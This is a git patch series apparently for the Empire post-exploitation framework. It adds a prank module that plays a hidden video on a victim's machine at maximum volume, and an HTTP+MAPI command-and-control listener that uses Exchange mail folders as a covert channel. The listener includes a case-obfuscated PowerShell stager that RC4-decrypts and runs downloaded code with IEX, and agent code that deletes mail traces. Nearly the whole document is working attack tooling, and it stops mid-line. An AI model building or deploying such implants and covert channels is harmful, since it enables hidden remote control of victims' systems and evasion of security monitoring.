From ea5058ed2aec7ad4930b478adf46b212b4b9c64d Mon Sep 17 00:00:00 2001 From: rvrsh3ll Date: Tue, 16 May 2017 09:13:51 -0400 Subject: [PATCH 1/5] Added get schwifty trollsploit module --- changelog | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/changelog b/changelog index c04562d..f61bddc 100644 --- a/changelog +++ b/changelog @@ -1,3 +1,7 @@ +Running +-------- +- Added Trollsploit module Get-Schwifty + 5/15/2017 --------- -Version 2.0 Master Release From 7ad76fdc1fd8bba2f2717625fc1511b36c47378d Mon Sep 17 00:00:00 2001 From: rvrsh3ll Date: Tue, 16 May 2017 09:15:28 -0400 Subject: [PATCH 2/5] Added get schwifty trollsploit module --- .../powershell/trollsploit/get_schwifty.py | 102 ++++++++++++++++++ 1 file changed, 102 insertions(+) create mode 100644 lib/modules/powershell/trollsploit/get_schwifty.py diff --git a/lib/modules/powershell/trollsploit/get_schwifty.py b/lib/modules/powershell/trollsploit/get_schwifty.py new file mode 100644 index 0000000..6da6a9e --- /dev/null +++ b/lib/modules/powershell/trollsploit/get_schwifty.py @@ -0,0 +1,102 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Invoke-Thunderstruck', + + 'Author': ['@obscuresec'], + + 'Description': ("Play's a hidden version of AC/DC's Thunderstruck video while " + "maxing out a computer's volume."), + + 'Background' : True, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : False, + + 'Language' : 'powershell', + + 'MinLanguageVersion' : '2', + + 'Comments': [ + 'https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'VideoURL' : { + 'Description' : 'Other YouTube video URL to play instead of Thunderstruck.', + 'Required' : False, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + script = """ +Function Invoke-Thunderstruck +{ + [CmdletBinding()] + Param ( + [Parameter(Mandatory = $False, Position = 0)] + [ValidateNotNullOrEmpty()] + [String] $VideoURL = "https://www.youtube.com/watch?v=leJ_wj7mDa0" + ) + + Function Set-Speaker($Volume){$wshShell = new-object -com wscript.shell;1..50 | % {$wshShell.SendKeys([char]174)};1..$Volume | % {$wshShell.SendKeys([char]175)}} + Set-Speaker -Volume 50 + + #Create hidden IE Com Object + $IEComObject = New-Object -com "InternetExplorer.Application" + $IEComObject.visible = $False + $IEComObject.navigate($VideoURL) + + Start-Sleep -s 5 + + $EndTime = (Get-Date).addseconds(90) + + # ghetto way to do this but it basically presses volume up to raise volume in a loop for 90 seconds + do { + $WscriptObject = New-Object -com wscript.shell + $WscriptObject.SendKeys([char]175) + } + until ((Get-Date) -gt $EndTime) +} Invoke-Thunderstruck""" + + for option,values in self.options.iteritems(): + if option.lower() != "agent" and option.lower() != "computername": + if values['Value'] and values['Value'] != '': + if values['Value'].lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " " + str(values['Value']) + + script += "; 'Agent Thunderstruck.'" + + return script From ec6daaba3fb0795ba638df3dba94c9e61b8c31a6 Mon Sep 17 00:00:00 2001 From: rvrsh3ll Date: Tue, 16 May 2017 09:23:45 -0400 Subject: [PATCH 3/5] GetSchwifty fix --- lib/modules/powershell/trollsploit/get_schwifty.py | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/lib/modules/powershell/trollsploit/get_schwifty.py b/lib/modules/powershell/trollsploit/get_schwifty.py index 6da6a9e..9637b93 100644 --- a/lib/modules/powershell/trollsploit/get_schwifty.py +++ b/lib/modules/powershell/trollsploit/get_schwifty.py @@ -5,11 +5,11 @@ class Module: def __init__(self, mainMenu, params=[]): self.info = { - 'Name': 'Invoke-Thunderstruck', + 'Name': 'Get-Shwifty', - 'Author': ['@obscuresec'], + 'Author': ['@424f424f'], - 'Description': ("Play's a hidden version of AC/DC's Thunderstruck video while " + 'Description': ("Play's a hidden version of Rick and Morty Get Schwifty video while " "maxing out a computer's volume."), 'Background' : True, @@ -59,13 +59,13 @@ class Module: def generate(self): script = """ -Function Invoke-Thunderstruck +Function Get-Schwifty { [CmdletBinding()] Param ( [Parameter(Mandatory = $False, Position = 0)] [ValidateNotNullOrEmpty()] - [String] $VideoURL = "https://www.youtube.com/watch?v=leJ_wj7mDa0" + [String] $VideoURL = "https://www.youtube.com/watch?v=I1188GO4p1E" ) Function Set-Speaker($Volume){$wshShell = new-object -com wscript.shell;1..50 | % {$wshShell.SendKeys([char]174)};1..$Volume | % {$wshShell.SendKeys([char]175)}} @@ -86,7 +86,7 @@ Function Invoke-Thunderstruck $WscriptObject.SendKeys([char]175) } until ((Get-Date) -gt $EndTime) -} Invoke-Thunderstruck""" +} Get-Schwifty""" for option,values in self.options.iteritems(): if option.lower() != "agent" and option.lower() != "computername": @@ -97,6 +97,6 @@ Function Invoke-Thunderstruck else: script += " -" + str(option) + " " + str(values['Value']) - script += "; 'Agent Thunderstruck.'" + script += "; 'Agent is getting schwifty!'" return script From 6d88e8ee1b7eeebbf28e9f02dded2be164f106f0 Mon Sep 17 00:00:00 2001 From: rvrsh3ll Date: Tue, 16 May 2017 09:25:27 -0400 Subject: [PATCH 4/5] GetSchwifty fix --- lib/modules/powershell/trollsploit/get_schwifty.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/modules/powershell/trollsploit/get_schwifty.py b/lib/modules/powershell/trollsploit/get_schwifty.py index 9637b93..70496f6 100644 --- a/lib/modules/powershell/trollsploit/get_schwifty.py +++ b/lib/modules/powershell/trollsploit/get_schwifty.py @@ -5,7 +5,7 @@ class Module: def __init__(self, mainMenu, params=[]): self.info = { - 'Name': 'Get-Shwifty', + 'Name': 'Get-Schwifty', 'Author': ['@424f424f'], @@ -39,7 +39,7 @@ class Module: 'Value' : '' }, 'VideoURL' : { - 'Description' : 'Other YouTube video URL to play instead of Thunderstruck.', + 'Description' : 'Other YouTube video URL to play instead of Get Schwifty.', 'Required' : False, 'Value' : '' } From 417e66df65b0dd37c4de7ea57cde016c8b7fcfcf Mon Sep 17 00:00:00 2001 From: Etienne Stalmans Date: Wed, 17 May 2017 08:50:49 +0100 Subject: [PATCH 5/5] liniaal agents to use with https://github.com/sensepost/liniaal --- data/agent/stagers/http_mapi.ps1 | Bin 0 -> 7986 bytes lib/listeners/http_mapi.py | 626 +++++++++++++++++++++++++++++++ 2 files changed, 626 insertions(+) create mode 100644 data/agent/stagers/http_mapi.ps1 create mode 100644 lib/listeners/http_mapi.py diff --git a/data/agent/stagers/http_mapi.ps1 b/data/agent/stagers/http_mapi.ps1 new file mode 100644 index 0000000000000000000000000000000000000000..c0591e3bb21485cce03d3081bf20e00b5fd5667a GIT binary patch literal 7986 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 literal 0 HcmV?d00001 diff --git a/lib/listeners/http_mapi.py b/lib/listeners/http_mapi.py new file mode 100644 index 0000000..08f2aff --- /dev/null +++ b/lib/listeners/http_mapi.py @@ -0,0 +1,626 @@ +import logging +import base64 +import random +import os +import time +import copy +from pydispatch import dispatcher +from flask import Flask, request, make_response + +# Empire imports +from lib.common import helpers +from lib.common import agents +from lib.common import encryption +from lib.common import packets +from lib.common import messages + + +class Listener: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'HTTP[S] + MAPI', + + 'Author': ['@harmj0y','@_staaldraad'], + + 'Description': ('Starts a http[s] listener (PowerShell) which can be used with Liniaal for C2 through Exchange'), + + 'Category' : ('client_server'), + + 'Comments': ['This requires the Liniaal agent to translate messages from MAPI to HTTP. More info: https://github.com/sensepost/liniaal'] + } + + # any options needed by the stager, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + + 'Name' : { + 'Description' : 'Name for the listener.', + 'Required' : True, + 'Value' : 'mapi' + }, + 'Host' : { + 'Description' : 'Hostname/IP for staging.', + 'Required' : True, + 'Value' : "http://%s:%s" % (helpers.lhost(), 80) + }, + 'BindIP' : { + 'Description' : 'The IP to bind to on the control server.', + 'Required' : True, + 'Value' : '0.0.0.0' + }, + 'Port' : { + 'Description' : 'Port for the listener.', + 'Required' : True, + 'Value' : 80 + }, + 'StagingKey' : { + 'Description' : 'Staging key for initial agent negotiation.', + 'Required' : True, + 'Value' : '2c103f2c4ed1e59c0b4e2e01821770fa' + }, + 'DefaultDelay' : { + 'Description' : 'Agent delay/reach back interval (in seconds).', + 'Required' : True, + 'Value' : 0 + }, + 'DefaultJitter' : { + 'Description' : 'Jitter in agent reachback interval (0.0-1.0).', + 'Required' : True, + 'Value' : 0.0 + }, + 'DefaultLostLimit' : { + 'Description' : 'Number of missed checkins before exiting', + 'Required' : True, + 'Value' : 60 + }, + 'DefaultProfile' : { + 'Description' : 'Default communication profile for the agent.', + 'Required' : True, + 'Value' : "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" + }, + 'CertPath' : { + 'Description' : 'Certificate path for https listeners.', + 'Required' : False, + 'Value' : '' + }, + 'KillDate' : { + 'Description' : 'Date for the listener to exit (MM/dd/yyyy).', + 'Required' : False, + 'Value' : '' + }, + 'WorkingHours' : { + 'Description' : 'Hours for the agent to operate (09:00-17:00).', + 'Required' : False, + 'Value' : '' + }, + 'ServerVersion' : { + 'Description' : 'TServer header for the control server.', + 'Required' : True, + 'Value' : 'Microsoft-IIS/7.5' + }, + 'Folder' : { + 'Description' : 'The hidden folder in Exchange to user', + 'Required' : True, + 'Value' : 'Liniaal' + }, + 'Email' : { + 'Description' : 'The email address of our target', + 'Required' : False, + 'Value' : '' + } + } + + # required: + self.mainMenu = mainMenu + self.threads = {} + + # optional/specific for this module + self.app = None + self.uris = [a.strip('/') for a in self.options['DefaultProfile']['Value'].split('|')[0].split(',')] + + # set the default staging key to the controller db default + self.options['StagingKey']['Value'] = str(helpers.get_config('staging_key')[0]) + + + def default_response(self): + """ + Returns a default HTTP server page. + """ + page = "

It works!

" + page += "

This is the default web page for this server.

" + page += "

The web server software is running but no content has been added, yet.

" + page += "" + return page + + + def validate_options(self): + """ + Validate all options for this listener. + """ + + self.uris = [a.strip('/') for a in self.options['DefaultProfile']['Value'].split('|')[0].split(',')] + + for key in self.options: + if self.options[key]['Required'] and (str(self.options[key]['Value']).strip() == ''): + print helpers.color("[!] Option \"%s\" is required." % (key)) + return False + + return True + + + def generate_launcher(self, encode=True, userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): + """ + Generate a basic launcher for the specified listener. + """ + + if not language: + print helpers.color('[!] listeners/http generate_launcher(): no language specified!') + + if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners): + + # extract the set options for this instantiated listener + listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options'] + host = listenerOptions['Host']['Value'] + stagingKey = listenerOptions['StagingKey']['Value'] + profile = listenerOptions['DefaultProfile']['Value'] + uris = [a for a in profile.split('|')[0].split(',')] + stage0 = random.choice(uris) + + if language.startswith('po'): + # PowerShell + + stager = '' + if safeChecks.lower() == 'true': + # @mattifestation's AMSI bypass + stager = helpers.randomize_capitalization('Add-Type -assembly "Microsoft.Office.Interop.Outlook";') + stager += "$outlook = New-Object -comobject Outlook.Application;" + stager += helpers.randomize_capitalization('$mapi = $Outlook.GetNameSpace("') + stager += 'MAPI");' + if listenerOptions['Email']['Value'] != '': + stager += '$fld = $outlook.Session.Folders | Where-Object {$_.Name -eq "'+listenerOptions['Email']['Value']+'"} | %{$_.Folders.Item(2).Folders.Item("'+listenerOptions['Folder']['Value']+'")};' + stager += '$fldel = $outlook.Session.Folders | Where-Object {$_.Name -eq "'+listenerOptions['Email']['Value']+'"} | %{$_.Folders.Item(3)};' + else: + stager += '$fld = $outlook.Session.GetDefaultFolder(6).Folders.Item("'+listenerOptions['Folder']['Value']+'");' + stager += '$fldel = $outlook.Session.GetDefaultFolder(3);' + # clear out all existing mails/messages + + stager += helpers.randomize_capitalization("while(($fld.Items | measure | %{$_.Count}) -gt 0 ){ $fld.Items | %{$_.delete()};}") + # code to turn the key string into a byte array + stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(") + stager += "'%s');" % (stagingKey) + + # this is the minimized RC4 stager code from rc4.ps1 + stager += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};') + + # prebuild the request routing packet for the launcher + routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') + b64RoutingPacket = base64.b64encode(routingPacket) + + # add the RC4 packet to a cookie + stager += helpers.randomize_capitalization('$mail = $outlook.CreateItem(0);$mail.Subject = "') + stager += 'mailpireout";' + stager += helpers.randomize_capitalization('$mail.Body = ') + stager += '"STAGE - %s"' % b64RoutingPacket + stager += helpers.randomize_capitalization(';$mail.save() | out-null;') + stager += helpers.randomize_capitalization('$mail.Move($fld)| out-null;') + stager += helpers.randomize_capitalization('$break = $False; $data = "";') + stager += helpers.randomize_capitalization("While ($break -ne $True){") + stager += helpers.randomize_capitalization('$fld.Items | Where-Object {$_.Subject -eq "mailpirein"} | %{$_.HTMLBody | out-null} ;') + stager += helpers.randomize_capitalization('$fld.Items | Where-Object {$_.Subject -eq "mailpirein" -and $_.DownloadState -eq 1} | %{$break=$True; $data=[System.Convert]::FromBase64String($_.Body);$_.Delete();};}') + + stager += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];") + + # decode everything and kick it over to IEX to kick off execution + stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX") + + # base64 encode the stager and return it + if encode: + return helpers.powershell_launcher(stager) + else: + # otherwise return the case-randomized stager + return stager + else: + print helpers.color("[!] listeners/http_mapi generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module.") + + else: + print helpers.color("[!] listeners/http_mapi generate_launcher(): invalid listener name specification!") + + + def generate_stager(self, listenerOptions, encode=False, encrypt=True, language="powershell"): + """ + Generate the stager code needed for communications with this listener. + """ + + #if not language: + # print helpers.color('[!] listeners/http_mapi generate_stager(): no language specified!') + # return None + + profile = listenerOptions['DefaultProfile']['Value'] + uris = [a.strip('/') for a in profile.split('|')[0].split(',')] + stagingKey = listenerOptions['StagingKey']['Value'] + host = listenerOptions['Host']['Value'] + folder = listenerOptions['Folder']['Value'] + + if language.lower() == 'powershell': + + # read in the stager base + f = open("%s/data/agent/stagers/http_mapi.ps1" % (self.mainMenu.installPath)) + stager = f.read() + f.close() + + # make sure the server ends with "/" + if not host.endswith("/"): + host += "/" + + # patch the server and key information + stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) + stager = stager.replace('REPLACE_FOLDER', folder) + + randomizedStager = '' + + for line in stager.split("\n"): + line = line.strip() + # skip commented line + if not line.startswith("#"): + # randomize capitalization of lines without quoted strings + if "\"" not in line: + randomizedStager += helpers.randomize_capitalization(line) + else: + randomizedStager += line + + # base64 encode the stager and return it + if encode: + return helpers.enc_powershell(randomizedStager) + elif encrypt: + RC4IV = os.urandom(4) + return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager) + else: + # otherwise just return the case-randomized stager + return randomizedStager + else: + print helpers.color("[!] listeners/http generate_stager(): invalid language specification, only 'powershell' is currently supported for this module.") + + + def generate_agent(self, listenerOptions, language=None): + """ + Generate the full agent code needed for communications with this listener. + """ + + if not language: + print helpers.color('[!] listeners/http_mapi generate_agent(): no language specified!') + return None + + language = language.lower() + delay = listenerOptions['DefaultDelay']['Value'] + jitter = listenerOptions['DefaultJitter']['Value'] + profile = listenerOptions['DefaultProfile']['Value'] + lostLimit = listenerOptions['DefaultLostLimit']['Value'] + killDate = listenerOptions['KillDate']['Value'] + workingHours = listenerOptions['WorkingHours']['Value'] + folder = listenerOptions['Folder']['Value'] + b64DefaultResponse = base64.b64encode(self.default_response()) + + if language == 'powershell': + + f = open(self.mainMenu.installPath + "./data/agent/agent.ps1") + code = f.read() + f.close() + + # patch in the comms methods + commsCode = self.generate_comms(listenerOptions=listenerOptions, language=language) + commsCode = commsCode.replace('REPLACE_FOLDER',folder) + code = code.replace('REPLACE_COMMS', commsCode) + + # strip out comments and blank lines + code = helpers.strip_powershell_comments(code) + + # patch in the delay, jitter, lost limit, and comms profile + code = code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay)) + code = code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter)) + code = code.replace('$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', "$Profile = \"" + str(profile) + "\"") + code = code.replace('$LostLimit = 60', "$LostLimit = " + str(lostLimit)) + code = code.replace('$DefaultResponse = ""', '$DefaultResponse = "'+str(b64DefaultResponse)+'"') + + # patch in the killDate and workingHours if they're specified + if killDate != "": + code = code.replace('$KillDate,', "$KillDate = '" + str(killDate) + "',") + if workingHours != "": + code = code.replace('$WorkingHours,', "$WorkingHours = '" + str(workingHours) + "',") + + return code + else: + print helpers.color("[!] listeners/http_mapi generate_agent(): invalid language specification, only 'powershell' is currently supported for this module.") + + + def generate_comms(self, listenerOptions, language=None): + """ + Generate just the agent communication code block needed for communications with this listener. + + This is so agents can easily be dynamically updated for the new listener. + """ + + if language: + if language.lower() == 'powershell': + + updateServers = """ + $Script:ControlServers = @("%s"); + $Script:ServerIndex = 0; + """ % (listenerOptions['Host']['Value']) + + getTask = """ + function script:Get-Task { + try { + # meta 'TASKING_REQUEST' : 4 + $RoutingPacket = New-RoutingPacket -EncData $Null -Meta 4; + $RoutingCookie = [Convert]::ToBase64String($RoutingPacket); + + # choose a random valid URI for checkin + $taskURI = $script:TaskURIs | Get-Random; + + $mail = $outlook.CreateItem(0); + $mail.Subject = "mailpireout"; + $mail.Body = "GET - "+$RoutingCookie+" - "+$taskURI; + $mail.save() | out-null; + $mail.Move($fld)| out-null; + + # keep checking to see if there is response + $break = $False; + [byte[]]$b = @(); + + While ($break -ne $True){ + foreach ($item in $fld.Items) { + if($item.Subject -eq "mailpirein"){ + $item.HTMLBody | out-null; + if($item.Body[$item.Body.Length-1] -ne '-'){ + $traw = $item.Body; + $item.Delete(); + $break = $True; + $b = [System.Convert]::FromBase64String($traw); + } + } + } + Start-Sleep -s 1; + } + return ,$b + + } + catch { + + } + while(($fldel.Items | measure | %{$_.Count}) -gt 0 ){ $fldel.Items | %{$_.delete()};} + } + """ + + sendMessage = """ + function script:Send-Message { + param($Packets) + + if($Packets) { + # build and encrypt the response packet + $EncBytes = Encrypt-Bytes $Packets; + # build the top level RC4 "routing packet" + # meta 'RESULT_POST' : 5 + $RoutingPacket = New-RoutingPacket -EncData $EncBytes -Meta 5; + + # $RoutingPacketp = [System.BitConverter]::ToString($RoutingPacket); + $RoutingPacketp = [Convert]::ToBase64String($RoutingPacket) + try { + # get a random posting URI + $taskURI = $Script:TaskURIs | Get-Random; + $mail = $outlook.CreateItem(0); + $mail.Subject = "mailpireout"; + $mail.Body = "POSTM - "+$taskURI +" - "+$RoutingPacketp; + $mail.save() | out-null; + $mail.Move($fld) | out-null; + } + catch { + } + while(($fldel.Items | measure | %{$_.Count}) -gt 0 ){ $fldel.Items | %{$_.delete()};} + } + } + """ + return updateServers + getTask + sendMessage + + else: + print helpers.color("[!] listeners/http_mapi generate_comms(): invalid language specification, only 'powershell' is currently supported for this module.") + else: + print helpers.color('[!] listeners/http_mapi generate_comms(): no language specified!') + + + def start_server(self, listenerOptions): + """ + Threaded function that actually starts up the Flask server. + """ + + # make a copy of the currently set listener options for later stager/agent generation + listenerOptions = copy.deepcopy(listenerOptions) + + # suppress the normal Flask output + log = logging.getLogger('werkzeug') + log.setLevel(logging.ERROR) + + bindIP = listenerOptions['BindIP']['Value'] + host = listenerOptions['Host']['Value'] + port = listenerOptions['Port']['Value'] + stagingKey = listenerOptions['StagingKey']['Value'] + + app = Flask(__name__) + self.app = app + + @app.before_request + def check_ip(): + """ + Before every request, check if the IP address is allowed. + """ + if not self.mainMenu.agents.is_ip_allowed(request.remote_addr): + dispatcher.send("[!] %s on the blacklist/not on the whitelist requested resource" % (request.remote_addr), sender="listeners/http") + return make_response(self.default_response(), 200) + + + @app.after_request + def change_header(response): + "Modify the default server version in the response." + response.headers['Server'] = listenerOptions['ServerVersion']['Value'] + return response + + + @app.route('/', methods=['GET']) + def handle_get(request_uri): + """ + Handle an agent GET request. + + This is used during the first step of the staging process, + and when the agent requests taskings. + """ + + clientIP = request.remote_addr + dispatcher.send("[*] GET request for %s/%s from %s" % (request.host, request_uri, clientIP), sender='listeners/http') + routingPacket = None + cookie = request.headers.get('Cookie') + if cookie and cookie != '': + try: + # see if we can extract the 'routing packet' from the specified cookie location + # NOTE: this can be easily moved to a paramter, another cookie value, etc. + if 'session' in cookie: + cookieParts = cookie.split(';') + for part in cookieParts: + if part.startswith('session'): + base64RoutingPacket = part[part.find('=')+1:] + # decode the routing packet base64 value in the cookie + routingPacket = base64.b64decode(base64RoutingPacket) + except Exception as e: + routingPacket = None + pass + + if routingPacket: + # parse the routing packet and process the results + dataResults = self.mainMenu.agents.handle_agent_data(stagingKey, routingPacket, listenerOptions, clientIP) + if dataResults and len(dataResults) > 0: + for (language, results) in dataResults: + if results: + if results == 'STAGE0': + # handle_agent_data() signals that the listener should return the stager.ps1 code + + # step 2 of negotiation -> return stager.ps1 (stage 1) + dispatcher.send("[*] Sending %s stager (stage 1) to %s" % (language, clientIP), sender='listeners/http') + stage = self.generate_stager(language=language, listenerOptions=listenerOptions) + return make_response(stage, 200) + + elif results.startswith('ERROR:'): + dispatcher.send("[!] Error from agents.handle_agent_data() for %s from %s: %s" % (request_uri, clientIP, results), sender='listeners/http') + + if 'not in cache' in results: + # signal the client to restage + print helpers.color("[*] Orphaned agent from %s, signaling retaging" % (clientIP)) + return make_response(self.default_response(), 401) + else: + return make_response(self.default_response(), 200) + + else: + # actual taskings + dispatcher.send("[*] Agent from %s retrieved taskings" % (clientIP), sender='listeners/http') + return make_response(results, 200) + else: + # dispatcher.send("[!] Results are None...", sender='listeners/http') + return make_response(self.default_response(), 200) + else: + return make_response(self.default_response(), 200) + + else: + dispatcher.send("[!] %s requested by %s with no routing packet." % (request_uri, clientIP), sender='listeners/http') + return make_response(self.default_response(), 200) + + + @app.route('/', methods=['POST']) + def handle_post(request_uri): + """ + Handle an agent POST request. + """ + + stagingKey = listenerOptions['StagingKey']['Value'] + clientIP = request.remote_addr + + # the routing packet should be at the front of the binary request.data + # NOTE: this can also go into a cookie/etc. + + dataResults = self.mainMenu.agents.handle_agent_data(stagingKey, request.get_data(), listenerOptions, clientIP) + #print dataResults + if dataResults and len(dataResults) > 0: + for (language, results) in dataResults: + if results: + if results.startswith('STAGE2'): + # TODO: document the exact results structure returned + sessionID = results.split(' ')[1].strip() + sessionKey = self.mainMenu.agents.agents[sessionID]['sessionKey'] + dispatcher.send("[*] Sending agent (stage 2) to %s at %s" % (sessionID, clientIP), sender='listeners/http') + + # step 6 of negotiation -> server sends patched agent.ps1/agent.py + agentCode = self.generate_agent(language=language, listenerOptions=listenerOptions) + encryptedAgent = encryption.aes_encrypt_then_hmac(sessionKey, agentCode) + # TODO: wrap ^ in a routing packet? + + return make_response(encryptedAgent, 200) + + elif results[:10].lower().startswith('error') or results[:10].lower().startswith('exception'): + dispatcher.send("[!] Error returned for results by %s : %s" %(clientIP, results), sender='listeners/http') + return make_response(self.default_response(), 200) + elif results == 'VALID': + dispatcher.send("[*] Valid results return by %s" % (clientIP), sender='listeners/http') + return make_response(self.default_response(), 200) + else: + return make_response(results, 200) + else: + return make_response(self.default_response(), 200) + else: + return make_response(self.default_response(), 200) + + try: + certPath = 